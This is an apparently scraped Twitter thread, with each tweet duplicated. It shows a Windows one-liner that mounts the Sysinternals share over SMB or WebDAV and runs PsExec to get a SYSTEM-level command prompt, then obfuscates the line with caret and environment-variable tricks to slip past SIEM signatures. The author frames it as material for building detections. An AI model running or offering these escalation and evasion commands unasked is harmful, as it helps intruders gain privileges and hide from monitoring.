Elevate your cmd.exe to LOCAL_SYSTEM?
\\live.sysinternals.com\tools\PsExec.exe -s -c cmd.exe
Have you ever seen this being used by an adversary? I haven't but I like it.
\\live.sysinternals.com\tools\PsExec.exe -s -c cmd.exe
Have you ever seen this being used by an adversary? I haven't but I like it.
If you can't use the SMB protocol to hosts on the Internet, try WebDav over HTTPS
net use z: hxxps://live.sysinternals.com/tools && z:\PsExec.exe -s -c cmd.exe
(had to change the URL scheme because twitter would otherwise transform it - see screenshot)
net use z: hxxps://live.sysinternals.com/tools && z:\PsExec.exe -s -c cmd.exe
(had to change the URL scheme because twitter would otherwise transform it - see screenshot)
And let's add some obfuscation to hide from sloppy signatures or case-sensitive searches in your SIEM
net use z: htT^pS://li^ve.sysInTer^nals.com/toOls && z:\Ps^EXeC.eXe -s c^md.e^xe
net use z: htT^pS://li^ve.sysInTer^nals.com/toOls && z:\Ps^EXeC.eXe -s c^md.e^xe
And we add another layer of obfuscation
net use z: htT^pS://li^ve.sys%SystemRoot:~4,1%nTer^nals.com/toOls && z:\Ps^EX%Public:~5,1%C.eXe -s c^md.e^xe
net use z: htT^pS://li^ve.sys%SystemRoot:~4,1%nTer^nals.com/toOls && z:\Ps^EX%Public:~5,1%C.eXe -s c^md.e^xe
And when we're done with all that kids stuff and decide that we want to do something useful with our life, we check the resulting artefacts, logs, traces and start developing detection for all that evidence to really make a difference
• • •
Missing some Tweet in this thread? You can try to
force a refresh
